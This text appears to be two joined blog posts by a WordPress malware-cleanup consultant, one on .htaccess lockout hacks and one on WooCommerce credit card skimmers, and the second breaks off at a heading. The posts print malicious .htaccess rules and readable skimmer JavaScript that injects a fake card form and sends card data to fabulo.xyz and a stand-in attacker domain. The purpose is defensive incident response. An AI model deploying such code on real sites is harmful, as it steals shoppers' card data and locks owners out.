Author: MD Pabel

If your WordPress site is suddenly throwing a 403 Forbidden error when you try to load wp-admin or wp-login.php, you’re almost certainly hit by a lockout hack — an attacker has dropped a malicious .htaccess file into your WordPress directory that tells Apache to block PHP files from running. Because your login page is a PHP file, the server refuses to load it. The fix is to access your site through FTP or your host’s File Manager, locate and remove the malicious .htaccess (or replace it with a clean one), and then perform a full malware cleanup — because the lockout is only the visible symptom of a deeper compromise.

You go to log in to your WordPress dashboard at yoursite.com/wp-admin, but instead of the familiar login screen you get a stark, frustrating message: 403 Forbidden.

It’s one of the most disorienting moments in WordPress site ownership. The site might still load on the front end. Other admins in your team might still be locked out the same way. Your hosting account is technically “fine” — files exist, the database is there, the domain is pointed correctly. But you can’t get in.

In my experience cleaning more than 4,500 hacked WordPress sites since 2018, the single most common cause of this exact 403 pattern is a malicious .htaccess file placed by an attacker. This guide walks you through every variant I see in the wild, how to identify which one hit your site, and how to get back in safely without making the infection worse.

Why Hackers Lock You Out of Your Own WordPress Site

It seems counterintuitive at first. Why would an attacker waste effort blocking you from your dashboard? They’re already inside. Wouldn’t they want to stay invisible?

The answer is that locking the legitimate owner out is a deliberate strategic move, and it serves the attacker in several ways at once:

• It prevents cleanup. If you can’t reach the dashboard, you can’t see infected plugins, rogue admin users, spam pages, or backdoors hidden in your media library.
• It buys them time. A locked-out site can keep sending spam, redirecting traffic, hosting phishing pages, or attacking other sites for days before anyone takes effective action.
• It blocks updates. If you can’t log in, you can’t update WordPress core, plugins, or themes — so the original entry-point vulnerability stays open and the attacker keeps re-entering.
• It funnels you into mistakes. Most non-technical owners react by emailing their host, restoring random backups, or deleting files in panic. All of those make a clean recovery harder.

This is why a 403 on wp-admin should not be treated as a “WordPress error to fix.” It should be treated as a compromise indicator until proven otherwise.

The 6 Lockout Patterns I See Most Often

The 403 error itself looks identical to the user no matter what’s causing it, but the underlying malicious code can take very different shapes. Here are the six patterns I encounter most often during WordPress malware cleanups, with real code samples for each.

Pattern 1: Block All PHP Inside /wp-admin/

This is the classic. The attacker drops an .htaccess file directly inside the /wp-admin/ folder containing this kind of rule:

<FilesMatch "\.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>

Two important things to notice:

• The casing variations are deliberate. On case-insensitive filesystems Apache will match .php regardless of case anyway, but the attacker lists all of them to be sure their rule fires across server configurations.
• A clean WordPress install does not ship an .htaccess file inside /wp-admin/. If you see one there, treat it as malicious until proven otherwise.

When this rule is active, every request for a PHP file inside the admin area — including wp-login.php, admin.php, and admin-ajax.php — gets a 403 from Apache. That’s the lockout.

Pattern 2: Site-Wide PHP Block With a Backdoor Allowlist

The more aggressive version of Pattern 1. Instead of being limited to /wp-admin/, the attacker plants the same denial rule at the site root and pairs it with an allowlist of attacker-controlled backdoor files:

<FilesMatch "\.(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index\.php|lock360\.php|wp-l0gin\.php|wp-the1me\.php|wp-scr1pts\.php|admin\.php|mah\.php|jp\.php|ext\.php)$">
Order allow,deny
Allow from all
</FilesMatch>

This rule says: “block all PHP, except this short list of files.” Some entries look almost legitimate (index.php, admin.php) so the rule doesn’t completely break the site. Others are obvious backdoors disguised with lookalike characters — wp-l0gin.php uses a zero, wp-the1me.php uses a “1” instead of an “i”, and so on.

This pattern is especially common on shared hosting accounts where the same .htaccess gets duplicated into hundreds of folders. I broke down a real example with 1,162 infected files in this Bluehost lockout case study.

Pattern 3: IP Allowlist — Only the Attacker Can Reach wp-admin

Less obvious, more elegant. The attacker drops this into /wp-admin/:

Order Deny,Allow
Deny from all
Allow from 203.0.113.45

Where 203.0.113.45 is their IP. Anyone else hitting wp-admin gets a 403. The attacker themselves walks straight in.

What makes this dangerous is that to a casual visual scan it doesn’t look malicious — it looks like a security hardening rule. Some site owners assume a previous developer added it and leave it alone. If you find an IP allowlist in your /wp-admin/ .htaccess and you don’t recognize the IP, treat it as a backdoor.

Pattern 4: User-Agent Block

A more sophisticated lockout that targets human visitors specifically:

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (Chrome|Firefox|Safari|Edge|Mozilla) [NC]
RewriteCond %{REQUEST_URI} ^/wp-(admin|login\.php) [NC]
RewriteRule .* - [F,L]

This rule tells the server: “if the visitor is using a normal web browser and they’re trying to reach wp-admin or wp-login.php, return 403 (forbidden).” The attacker can still hit those pages with curl, custom scripts, or a non-standard user-agent string that isn’t on the block list.

I see this pattern most often on sites that are being used as part of a larger botnet — the attacker wants to keep automated access alive while making the dashboard unreachable from any browser.

Pattern 5: Redirect wp-login to a Fake or Malicious Page

Not technically a 403, but worth covering because it shows up in the same searches and is often confused with one. Instead of denying access, the rule redirects the request:

RewriteEngine On
RewriteCond %{REQUEST_URI} ^/wp-login\.php [NC]
RewriteRule .* https://attacker-controlled.example/fake-login.php [R=302,L]

When this is active, anyone trying to reach the WordPress login page gets bounced to a phishing clone designed to harvest credentials. Some WordPress security plugins or browsers will then return a 403 / blocked page warning, which is what users experience.

If your wp-login is “going somewhere weird” or showing a security warning instead of a clean 403, this is the pattern to suspect.

Pattern 6: HTTP Basic Auth Injection

The sneakiest one. The attacker injects this into /wp-admin/.htaccess:

AuthType Basic
AuthName "Restricted Area"
AuthUserFile /home/youruser/.fake-passwd
Require valid-user

This adds a second authentication layer — an Apache-level password prompt — before WordPress’s own login page even loads. The attacker controls the credentials in .fake-passwd. You don’t.

The result depends on the browser: some show a credential prompt that you can’t satisfy and eventually return 403; others fail straight to the 403 page. Either way, you’re locked out before you ever see WordPress.

How to Identify Which Lockout Pattern Hit Your Site

Before you delete anything, take 60 seconds to figure out which variant you’re dealing with. The cleanup is essentially the same across patterns, but knowing which one is active tells you a lot about what else the attacker did to your server.

1. Open FTP / SFTP or your host’s File Manager (cPanel, Plesk, etc.)
2. Navigate to your WordPress installation root (usually public_html, www, or your domain folder)
3. Open the .htaccess file in the root and look for any of the patterns above
4. Open the /wp-admin/ folder and check whether an .htaccess file exists there at all (a clean WordPress install does not have one in this folder)
5. If your hosting account has multiple sites or subdomains, check those too — the same infection commonly spreads across the account

If you find an .htaccess file inside /wp-admin/ on a default WordPress install, it is almost certainly malicious. If you find one in the root and it contains rules you didn’t write, treat it as compromised.

How to Regain Access (Step by Step)

Once you’ve identified the pattern, the recovery is straightforward — but the order matters. Don’t skip steps.

Step 1: Take a snapshot before you change anything

Download a copy of the malicious .htaccess file to your local machine before deleting it. You’ll want it later for two reasons:

• It’s evidence of the attack — useful if you have to involve your host or a security professional
• It often contains clues (filenames, IP addresses, redirect targets) that help locate the rest of the malware

Step 2: Replace, don’t just delete

If the malicious file is in /wp-admin/, you can simply delete it — clean WordPress doesn’t need one there.

If the malicious file is in your root .htaccess, do not just delete it. WordPress relies on the root .htaccess for permalinks. Replace it with the standard WordPress block:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

Step 3: Try to log in

Reload yoursite.com/wp-admin in a fresh browser tab (or incognito window to avoid cached errors). If the lockout was the only issue, the login page should now load.

Step 4: Force every session out

The attacker may already have an active admin session. Once you can reach the dashboard, immediately rotate your WordPress security keys (the salts in wp-config.php). This invalidates every active login on the site, including any the attacker is sitting on.

What to Clean After You’re Back In

Removing the lockout layer is like opening the front door after a break-in. The intruder is still inside the house. Here’s the cleanup I run on every WordPress site after this kind of attack:

1. Check for unknown admin users. Go to Users → All Users and filter by Administrator role. Delete any account you don’t personally recognize. Hidden admins are one of the most common reinfection routes — I broke this down step by step in how to find and remove hidden admin users in WordPress.
2. Look for suspicious files in wp-content/. Pay special attention to fake plugin folders, recently modified theme files, and any PHP file with a name like wp-l0gin.php or lock360.php from the patterns above.
3. Reinstall WordPress core, themes, and plugins from clean sources. Don’t trust visual inspection — overwrite the files. Throw away anything nulled or cracked.
4. Scan the database. Lockout malware almost always travels with database injections. Check wp_options, wp_users, and wp_posts for foreign content. My walkthrough on scanning and cleaning your WordPress database for malware covers exactly what to look for.
5. Check scheduled tasks (cron). If a hidden cron is recreating the malicious .htaccess every hour, your “fix” won’t last.
6. Rotate every credential. WordPress admin, hosting cPanel, FTP/SFTP, the database user, and any email address that received password resets during the compromise window.

For a complete, ordered post-cleanup checklist, see what to do after fixing a hacked WordPress site.

Other (Non-Malware) Reasons wp-admin Might Show 403

Most of the time when I’m called in, the 403 is malware. But for completeness, these are the legitimate causes worth ruling out:

• Incorrect file permissions. If wp-admin/ is set to something restrictive like 700 instead of 755, Apache may refuse to serve files from it.
• A security plugin lockout. Wordfence, iThemes Security (now Solid Security), All In One WP Security, and others can lock an IP out after failed login attempts. If only your IP gets 403 and others can log in, this is likely.
• ModSecurity rules at the host level. Some shared hosts run aggressive web application firewall rules that occasionally false-positive on legitimate admin requests. Your hosting support can confirm.
• A genuine .htaccess rule you forgot about. If a previous developer added IP restrictions or basic auth to the admin area for legitimate hardening reasons, those can fire when your IP changes (new ISP, working from a coffee shop, traveling, etc.).

A quick way to differentiate: if you’ve recently noticed other symptoms — slowness, unexpected admin emails, spam pages indexed in Google, hosting warnings — assume malware. If the 403 appeared completely in isolation with no other signs, the non-malware causes are worth checking first.

Hardening to Prevent the Next Lockout

Cleaning a lockout hack only matters if you also close the original entry point. Most of the WordPress lockout cases I see started with one of these:

• A weak or reused admin password
• An outdated plugin with a public exploit
• A nulled or pirated theme/plugin (a far bigger risk than most owners realize — see why nulled WordPress plugins and themes are a security disaster)
• No two-factor authentication on WordPress or the hosting cPanel
• An abandoned WordPress install in a subfolder the owner forgot existed

If any of those describes your site, fix them this week — not after the next infection. A focused login-side hardening walkthrough is here: how to secure your WordPress login. The broader site-wide guide is how to secure a WordPress site.

FAQ

Why do I see 403 Forbidden only on wp-admin and wp-login.php, but the rest of my site works?

Because the malicious rule is targeted. Most lockout hacks block PHP execution specifically inside /wp-admin/ or specifically against wp-login.php, leaving the rest of the site running so the attacker can keep using it for spam, redirects, or hosting phishing pages without obvious signs.

I deleted the malicious .htaccess and the 403 came back the next day. Why?

The malware that placed the file is still on your server. The most common culprit is a backdoor PHP file or a scheduled cron task that recreates the malicious .htaccess automatically. Without finding and removing the source, you’ll see the lockout return on a regular cycle.

Is it safe to delete every .htaccess file on my site?

No. Some .htaccess files are legitimate — your root WordPress .htaccess handles permalinks, and certain plugins write to it. The safe approach is to identify which ones contain malicious rules and clean those specifically, replacing the root file with the standard WordPress block if needed.

Should I just restore from a backup instead of cleaning?

Only if you have a clean backup from before the compromise — which most owners don’t actually have, because by the time the lockout is visible the backups have usually been overwriting clean copies for days or weeks. Restoring an already-infected backup just resets you to a slightly older version of the same hack.

What if the malicious .htaccess keeps coming back even after I clean the backdoor files?

That’s a strong signal that either (a) the original entry-point vulnerability is still open and the attacker is re-exploiting it, or (b) you’ve missed a backdoor. The most common hiding places I find on reinfection cases are fake plugin folders inside wp-content/plugins/, modified theme functions.php files, and database-stored payloads. This guide on why WordPress malware keeps coming back covers the reinfection cycle in detail.

How long does a full lockout cleanup actually take?

In my experience, identifying and removing the lockout layer itself takes minutes once you know what to look for. The full cleanup — removing backdoors, auditing users, checking the database, reinstalling core/themes/plugins, and hardening — is usually a few hours of careful work for a single-site WordPress install, longer for a shared hosting account hosting multiple sites where the same infection has spread.

Locked Out and Need Help Right Now?

A 403 Forbidden on wp-admin is fixable in most cases — but only if you treat it as a full malware incident, not as a one-file deletion job. Removing the visible lockout without finding the underlying compromise is the single most common mistake I see, and it’s the reason these hacks come back over and over.

If your WordPress site is currently locked behind a 403, your hosting account has been flagged for malware, or you’ve already tried “just deleting the .htaccess” and the lockout returned, this is exactly the kind of cleanup I do every week. I’ve recovered more than 4,500 hacked WordPress sites since 2018, and a lockout-style infection is usually something I can clean in hours, not days.

Get Expert WordPress Malware Removal

A WooCommerce store owner contacted me after their developers spent days trying to fix a checkout problem that made no sense. Customers could add products to cart, fill in billing details, and click Place Order — but no order was created, no payment went through, and no confirmation email was sent.

Their team had already checked everything obvious: WooCommerce settings, Stripe configuration, plugin conflicts, theme conflicts, Wordfence scans, Sucuri scans, file permissions, and error logs. Everything came back clean or normal. But the store was still losing sales.

When I tested the checkout myself and opened the browser Network tab, I found the real problem. The site had been hacked with a fake WooCommerce payment form that was silently sending credit card data to an attacker-controlled domain instead of Stripe.

That case, and the real code found inside it, runs through this entire post. I will use it to explain how each type of WooCommerce credit card skimmer actually works, where it hides, and why “no malware found” does not always mean the store is safe.

If you have already confirmed an active skimmer and need urgent cleanup, start with my WordPress malware removal service.

What Is a WooCommerce Credit Card Skimmer?

A WooCommerce credit card skimmer is malicious code — usually JavaScript, sometimes PHP, often a combination of both — that intercepts payment data entered by customers at checkout. Unlike spam hacks or SEO injections, skimmers are built to stay completely invisible to the store owner. Their only job is to capture card numbers, expiry dates, CVV codes, and billing details and send them to an attacker-controlled server.

The term Magecart is the catch-all label for this category. It originated from attacks on Magento stores but has been heavily ported to WooCommerce since 2019. Several distinct threat actor groups — including Magecart Group 12, also known as Smilodon — now specifically target WooCommerce with purpose-built toolkits.

WooCommerce is a high-value target for a straightforward reason: it commands roughly 38.76% of all e-commerce platform market share and powers over 93% of WordPress e-commerce sites. That scale makes it the single most valuable ecosystem to compromise.

What makes these attacks especially hard to contain is that most store owners — and their developers — treat all skimmers as the same threat. They are not. A WebSocket-based skimmer behaves completely differently from a PHP server-side interceptor. A database-injected skimmer survives a full file reinstall. A cron-based reinfector restores the payload within hours of cleanup. Understanding the difference is what separates a real fix from a false sense of security.

The 8 Types of WooCommerce Credit Card Skimmer Malware

Type 1: Fake Payment Form Overlay (DOM Injection Skimmer)

This is the type I found in the case described above — and the most visually convincing attack, because it targets what the customer sees directly.

How it works: The malware injects a completely fake payment form into the checkout page DOM, typically after a short delay so it appears as the page settles. Customers see what looks like standard card input fields, type their details, and click submit. Their data goes to the attacker first. The legitimate payment flow never receives it.

Real Investigation: The fabulo.xyz Case

The store was Dutch and used iDEAL, Klarna, and Bancontact as payment options. None of those gateways ever ask customers to enter raw card numbers on the merchant’s website — they redirect to their own secure environments. Yet when I opened the checkout page in a private browser window while logged out, three card input fields had appeared below the payment method selection.

The injected HTML looked like this:

<div class="s_div1">
  <div>
    <span>Kaartnummer *</span>
    <input type="text" id="cardNum" placeholder="1234 1234 1234 1234">
    <div>
      <span>Vervaldatum *</span>
      <input id="exp" placeholder="MM / AA">
      <span>Kaartcode (CVC) *</span>
      <input id="cvv" placeholder="CVC">
    </div>
  </div>
</div>

The labels were localised in Dutch — Kaartnummer (Card Number), Vervaldatum (Expiry Date), Kaartcode (CVC) — and the styling matched the site theme closely enough that most customers would not question it. That level of polish is what made the attack convincing.

The core red flag: Card input fields appearing on a checkout that uses redirect-only gateways like iDEAL, PayPal, Stripe Redirect, or Klarna is an immediate indicator of injection. Those gateways never ask for raw card numbers on your site.

How the Skimmer Was Built — Step by Step

Step 1: Environment preparation

let isChecked = localStorage.getItem("already_checked");
let url2 = "https://fabulo.xyz/api/accept-car";
let loaded = false;

The script stored a flag in localStorage so each customer only saw the fake form once per browser session. This reduced the chance of a customer refreshing and noticing something strange had appeared.

Step 2: Fake form injected after a 5-second delay

window.addEventListener("load", e => {
  if (document.URL.includes("afrekenen") && isChecked != "1") {
    setTimeout(() => {
      let frame = document.querySelector(".woocommerce-terms-and-conditions-wrapper");
      let newDiv = document.createElement('div');
      newDiv.innerHTML += `[Fake payment form HTML]`;
      frame.appendChild(newDiv);
      loaded = true;
    }, 5000);
  }
});

The 5-second delay served two purposes: it made the form appear after the rest of the page had loaded, which felt more natural to customers, and it helped avoid detection by automated scanners that evaluate pages immediately on load. The script also checked for "afrekenen" — the Dutch word for checkout — in the URL, so it only activated on the checkout page itself.

Step 3: The real Place Order button was swapped out

setInterval(() => {
  if (loaded && isChecked != "1") {
    let checkout = document.getElementById("place_order");
    let newBtn = document.createElement("button");
    newBtn.id = checkout.id;
    newBtn.className = checkout.className;
    newBtn.addEventListener("click", clickFunc);
    checkout.parentElement.removeChild(checkout);
    checkout.parentElement.appendChild(newBtn);
  }
}, 2000);

This is why the checkout looked completely normal while the order flow was quietly hijacked. The button looked identical — same ID, same class, same label — but clicking it now ran the attacker’s function instead of WooCommerce’s.

Step 4: Card data exfiltrated, page reloaded to hide the theft

function clickFunc(e) {
  e.preventDefault();
  let dataObject = {
    card: document.getElementById("cardNum").value,
    exp: document.getElementById("exp").value,
    cvv: document.getElementById("cvv").value
  };
  fetch(url2, {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ dataObject })
  }).then(res => {
    localStorage.setItem("already_checked", "1");
    window.location.reload();
  });
}

After the card data was posted to fabulo.xyz, the page simply reloaded. No error message. No order. Just a silent restart — making the failure look like a random technical glitch rather than a theft event.

This is exactly what the customer reported: “I tried to place an order three times. No confirmation email. My card wasn’t charged. What’s wrong?”

How I Found It — The Network Tab

Before I touched any server files or databases, I switched Stripe into test mode and ran through the checkout exactly as a customer would, with Chrome DevTools open.

During checkout, I saw a POST request that should never have existed:

POST https://fabulo.xyz/api/accept-car
{
  "dataObject": {
    "card": "4242424242424242",
    "exp": "12/25",
    "cvv": "123"
  }
}

Payment data was not going to Stripe. It was going to an unknown attacker-controlled domain. That single Network tab finding confirmed the entire infection in under two minutes — and it is something the developer team’s days of troubleshooting had never tried.

This is the single most important diagnostic step for any suspected WooCommerce skimmer: open the checkout page in a private window while logged out, open DevTools Network tab, and watch where your data actually goes when you click Place Order.

Type 2: JavaScript Event Listener / Form Interceptor

This type does not change how the checkout page looks at all. Customers complete a perfectly normal-looking checkout — and their card data is stolen silently in the background.

How it works: The malicious script attaches addEventListener hooks to checkout form fields. Every keystroke in a card number, expiry, or CVV field is captured in real time. When the customer clicks “Place Order,” the skimmer fires first and forwards the data before the legitimate gateway receives it.

// Obfuscated in real infections — readable approximation
document.querySelector('#card-number').addEventListener('input', function() {
  stolenData.cardNumber = this.value;
});

document.querySelector('form.checkout').addEventListener('submit', function() {
  fetch('https://attacker-domain.com/collect', {
    method: 'POST',
    body: JSON.stringify(stolenData)
  });
});

Real-world versions of this are heavily obfuscated — encoded with base64 or hex, reconstructed only at runtime using custom decode functions.

Three-second delay trick: Some variants attributed to Magecart Group 12 include a deliberate 3-second delay before the listener activates. This avoids conflicts with AJAX-based WooCommerce checkout forms and helps the skimmer survive automated scans that evaluate page behaviour immediately.

Admin avoidance: Sophisticated variants check for #wpadminbar in the DOM. If a logged-in admin is viewing the page, all exfiltration pauses. You will see a clean checkout. Customers will not.

Where it hides: Injected into legitimate JavaScript assets like checkout.min.js, disguised as Google Tag Manager or Google Analytics code, or loaded from an external domain designed to look like a CDN.

Type 3: WebSocket-Based Skimmer

WebSocket skimmers use the ws:// or wss:// protocol instead of standard HTTP requests to exfiltrate stolen data. This makes them significantly harder to detect because most network monitoring tools and browser security policies focus on HTTP traffic, not WebSocket frames.

How it works: After capturing card data from the checkout form, instead of making a fetch() or XHR POST, the skimmer opens a persistent WebSocket connection and pipes the data through that channel. Because WebSocket connections are bidirectional, the attacker can also push updated payload instructions back to the infected site in real time — effectively giving them remote control over the skimmer’s behaviour.

This category has consistently ranked among the most prevalent skimmer types in real-world infection data, appearing on WooCommerce, Magento, and OpenCart simultaneously — suggesting shared toolkits deployed across platforms.

Why it evades detection: Browser Content Security Policies rarely block WebSocket connections explicitly. Most security plugins and monitoring tools log HTTP requests but not WebSocket frames. It looks like normal background communication.

Type 4: PHP Server-Side Skimmer (The Invisible Type)

This is the one that antivirus programs and external scanning tools almost always miss entirely — because it runs on the server before the browser is ever involved.

How it works: The malware modifies a PHP file in the WooCommerce plugin directory — typically the form-checkout template or a payment gateway class file — to intercept and copy $_POST data as it is submitted. The stolen card data is then written to a file on the server or forwarded via a server-to-server HTTP request to the attacker’s collector.

Real-world example: Sucuri researchers documented a case where attackers modified ./wp-content/plugins/woocommerce-gateway-[redacted]/class-wc-[redacted].php — a legitimate payment gateway file — by appending malicious PHP at the bottom. That code referenced a .jpg file in the uploads directory. The image file was actually storing exfiltrated card data in plain text. The attacker fetched it periodically and then zeroed it out, covering the evidence trail.

Why this is uniquely dangerous:

• External security scanners see your checkout from outside the server the same way a customer’s browser does — a PHP server-side skimmer produces no browser-visible output
• File integrity monitoring catches it, but only if configured before the infection
• It intercepts data at the PHP $_POST level, which means even tokenised payment data can be captured before the gateway processes it
• Reinstalling WooCommerce fixes it only if you identify exactly which gateway file was modified

Where it hides: Modified form-checkout.php, tampered payment gateway class files, functions.php, mu-plugins/, or standalone files disguised as stylesheets (style.css that is actually a PHP script, css.php).

For a deeper look at obfuscated PHP malware patterns, see my guide on WordPress obfuscated PHP malware detection.

Type 5: Database-Injected Skimmer (wp_options / Shortcode Injection)

This was the delivery mechanism in the fabulo.xyz case above. The fake form payload lived entirely in the WordPress database — no files were modified at all. That is why Wordfence, Sucuri, and every other file-based scanner found nothing.

How it works: Attackers inject malicious JavaScript into database rows that are output on the frontend. The most common locations are:

• The wp_options table, in rows that store header/footer scripts, theme customiser settings, or widget data
• Inside page/post content embedding the [woocommerce_checkout] shortcode, where a base64-encoded script blob is hidden alongside the legitimate shortcode
• Via plugins like WPCode (formerly Insert Headers and Footers) that store injectable scripts in the database by design

Finding the fabulo.xyz Payload in the Database

After catching the suspicious network request, I took the attacker’s domain as a unique search string and ran it against the database:

SELECT * FROM wp_options WHERE option_value LIKE '%fabulo.xyz%';

That query returned the exact row containing the injected script. It was sitting inside a wp_options entry alongside what appeared to be legitimate theme configuration data — which is precisely why automated tools flagged nothing. The row looked like it was supposed to be there.

After verifying the full payload and confirming there were no other injected rows, I removed it and re-ran the query to confirm zero results:

SELECT * FROM wp_options WHERE option_value LIKE '%fabulo.xyz%';
-- Result: 0 rows

I then repeated the full checkout test with the Network tab open. Payment activity went to Stripe, orders completed, confirmation emails were sent. Clean.

Why file reinstalls do not fix this type: Reinstalling WooCommerce, restoring a plugin, or even restoring WordPress core leaves database-resident skimmers completely untouched. This is one of the most important concepts in WooCommerce malware cleanup.

For a full methodology on database investigation, see how to scan and clean your WordPress database for hidden malware.

Type 6: Fake Plugin / Malicious mu-Plugin Skimmer

Rather than modifying existing files, this variant installs an entirely new plugin that exists only to serve the skimmer — and then hides itself from the WordPress admin panel.

How it works: The attacker gains admin access (through compromised credentials, a vulnerable plugin, or brute force), then drops a fake plugin into one of two locations:

• wp-content/plugins/ with a randomised or plausible-sounding name
• wp-content/mu-plugins/ — must-use plugins that load automatically without activation and do not appear in the standard Plugins list

The plugin registers hooks that inject the skimmer JavaScript on checkout pages, creates a hidden administrator user, and sets up persistence mechanisms to survive cleanup attempts.

Real plugin names observed in the wild:

/wp-content/plugins/sytaqanyxen/sytaqanyxen.php
/wp-content/plugins/adixiraqeh/adixiraqeh.php
/wp-content/plugins/ikytigy/ikytigy.php
/wp-content/mu-plugins/wp_services.php
/wp-content/mu-plugins/class-wpunit.php

Earlier generations of the Smilodon / Magecart Group 12 fake plugins used names like wpputty and wpzip to appear legitimate. The current generation uses fully randomised strings that match no known plugin, making pattern-based detection unreliable.

Self-concealment: Some fake plugins hook into the WordPress admin filter that populates the Plugins list and remove their own entry from it. The only reliable way to find them is to list the contents of wp-content/plugins/ and wp-content/mu-plugins/ directly via SFTP or a file manager and compare every directory against your known plugin list.

Three-tier payload architecture: The most sophisticated variants run three separate payload systems simultaneously: a custom payload embedded in the plugin file itself, a dynamically updated payload pulled from a command-and-control server daily, and a static fallback payload that activates if the remote server is unreachable. Blocking the C2 domain alone does not neutralise the infection.

For more on hidden admin users that typically accompany this type, see my guide on finding and removing hidden admin users in WordPress.

Type 7: Supply Chain / Tampered Legitimate Plugin Skimmer

Rather than installing something new, this variant modifies a plugin or theme that already exists and is trusted on your site — ideally one that processes payment data or loads on the checkout page.

How it works: The attacker modifies a legitimate payment gateway plugin’s PHP class file, inserting malicious code that intercepts the payment data that plugin is already handling. Because the modification is to a trusted file, security tools that check file reputation (rather than file integrity) may not flag it.

Nulled plugin variant: Pirated versions of premium WooCommerce plugins and themes are a primary supply-chain vector. These are distributed on unofficial sites and typically arrive pre-loaded with backdoors or skimmer code. The infection is present from the moment of installation. See my detailed guide on nulled WordPress plugins and themes.

Style tag execution trick: Some tampered files hide the skimmer inside <style> tags rather than <script> tags. A separate small JavaScript loader reads the style tag content and executes it programmatically. Because security tools typically look for <script> tags when scanning for injected code, this style-tag variant evades many signature-based detections.

Disguise as analytics: A common camouflage pattern is making the malicious script load URL use a Caesar cipher or character substitution to encode the attacker’s domain, then decode it at runtime. The surrounding code is written to look like a Google Analytics or Google Tag Manager initialisation block — something that legitimately belongs in checkout pages.

Type 8: Cron Job / Self-Regenerating Skimmer

This is not a standalone skimmer type — it is the persistence mechanism that makes the other seven types keep coming back. It is important enough to treat separately because it is the reason so many “cleaned” stores get reinfected within hours.

How it works: After establishing the initial skimmer using any of the above methods, the attacker installs a scheduled WordPress cron job or server-level cron that periodically re-downloads and re-injects the skimmer payload. Delete the skimmer without finding the cron job and the infection will restore itself automatically.

Common patterns:

• A wp_schedule_event hook that fires every few hours and writes the skimmer back to a target file or database row
• A hidden admin user whose credentials are used by an external script to reinstall the fake plugin via the WordPress REST API
• A database trigger that re-injects the skimmer into wp_options whenever that row is modified — a rare but documented technique

How to find it: Check all registered cron events via WP-CLI:

wp cron event list

Cross-reference every scheduled event against cron jobs registered by your known legitimate plugins. Any event pointing to an anonymous function, an encoded callback, or a file path that does not match a legitimate plugin is suspicious and should be investigated before you conclude cleanup is complete.

For a full breakdown of this pattern, see my posts on WordPress cron job malware and why WordPress malware keeps coming back.

How Exfiltration Works: Where Does the Stolen Data Go?

Every skimmer eventually has to get the stolen data out. Here are the main exfiltration methods used across all eight types:

Standard Fetch / XHR POST: The simplest method, as seen in the fabulo.xyz case. Captured data is serialised to JSON and sent via fetch() or XMLHttpRequest POST to an attacker-controlled domain. These domains are typically registered to look like CDNs, analytics platforms, or ad networks.

WebSocket exfiltration: Harder to detect in network logs because it uses a persistent connection rather than discrete HTTP requests. Used in Type 3 skimmers.

Image beacon (pixel tracking): Card data is URL-encoded and appended as query parameters to a 1×1 pixel image request. Image requests are normal browser behaviour, which often bypasses content security policies.

Data stored in image files on the server: PHP-based skimmers write stolen card data directly to a .jpg file in wp-content/uploads/. The attacker fetches the file periodically, then zeros it out to remove evidence. This was the exfiltration method documented in the Sucuri tampered-gateway-plugin case.

Fake admin AJAX: Some skimmers POST stolen data to the compromised site’s own AJAX endpoint at /wp-admin/admin-ajax.php using a custom action. The server then forwards it. This makes the exfiltration traffic look like legitimate WordPress activity.

Why Security Scanners Failed — And Why Manual Review Still Matters

In the fabulo.xyz case, the store team had already run Wordfence and Sucuri scans before reaching me. Both came back clean. Here is why — and why this pattern repeats across all eight skimmer types:

File-only scanners miss database injections entirely. The payload in the case above lived in wp_options. Wordfence and Sucuri’s file scanner never touched it.

External scanners miss PHP server-side skimmers. Tools like SiteCheck scan your checkout from the outside, exactly as a customer’s browser does. A PHP skimmer running server-side produces no browser-visible output for these tools to detect.

Admin detection avoidance defeats manual review. Some skimmers check for #wpadminbar and go dormant when an admin is logged in. If you test the checkout while logged into WordPress, you may see a perfectly clean experience while customers are still being skimmed.

Obfuscated code beats signature matching. Attackers update their obfuscation regularly. The Smilodon group updates its payload from C2 servers daily — specifically to stay ahead of newly published detection signatures.

Legitimate-looking camouflage. Disguising a skimmer as Google Tag Manager or a Facebook Pixel means it looks exactly like something that should be there. Without knowing precisely what your legitimate scripts look like, the imposter is nearly impossible to spot.

This is why the Network tab test — running checkout as a real customer in a private browser window and watching where data actually goes — remains the fastest and most reliable first diagnostic step, regardless of what any scanner reports. Related: how to detect WordPress malware.

Real Indicators of Compromise Across All Types

In the browser (customer-facing):

• Card input fields on a checkout that uses redirect-only gateways
• The checkout spinner that spins briefly, then silently reloads with no order recorded
• Network requests in DevTools to domains not belonging to your payment gateway
• A short delay between page load and the appearance of payment fields

In the WordPress admin:

• Admin users you did not create, often with generic-sounding email addresses
• Plugins in wp-content/plugins/ or mu-plugins/ that do not appear in the Plugins menu
• Recently modified files in the WooCommerce plugin directory or active theme
• wp_options rows containing <script> tags or base64 blobs in unexpected places

In server logs:

• POST requests from your server to external domains you do not recognise
• Periodic reads of files in wp-content/uploads/ from unfamiliar IP addresses
• Cron activity at unusual times not matching your configured scheduled tasks

How to Remove a WooCommerce Skimmer Properly

Cleanup that stops at the visible payload is incomplete. Here is the full sequence:

1. Contain checkout first. Block the checkout or switch to maintenance mode before doing anything else. Stop additional customer exposure while you investigate.

2. Identify the true source. Do not delete what you see until you know where it is coming from. Use the Network tab, database search, and file integrity checks together.

3. Remove the payload from its true source. If it is in the database, clean the database. If it is in a file, replace that file from a trusted clean source. If it appears in multiple places, treat that as a persistence indicator — keep looking.

4. Check for and remove all persistence mechanisms. Rogue admin users, fake or hidden plugins, cron events, database triggers. The skimmer will return if these are left intact. See why WordPress malware keeps coming back.

5. Clear every cache layer. Page cache, object cache (Redis/Memcached), optimisation plugin caches, CDN/Cloudflare cache. Stale malicious output can persist in cache long after the source is removed, creating a false impression that the infection is still active.

6. Rotate all credentials. WordPress admin passwords, database credentials, hosting/FTP access, payment gateway API keys (Stripe, PayPal), and WordPress security salts.

7. Verify from a clean environment. Re-run the Network tab test from a fresh private window and confirm payment data goes only to your legitimate payment gateway. Do not skip this step.

For the complete post-cleanup checklist, see what to do after fixing a hacked WordPress site.

Why a WooCommerce Skimmer Is a Compliance Problem, Not Just a Technical One

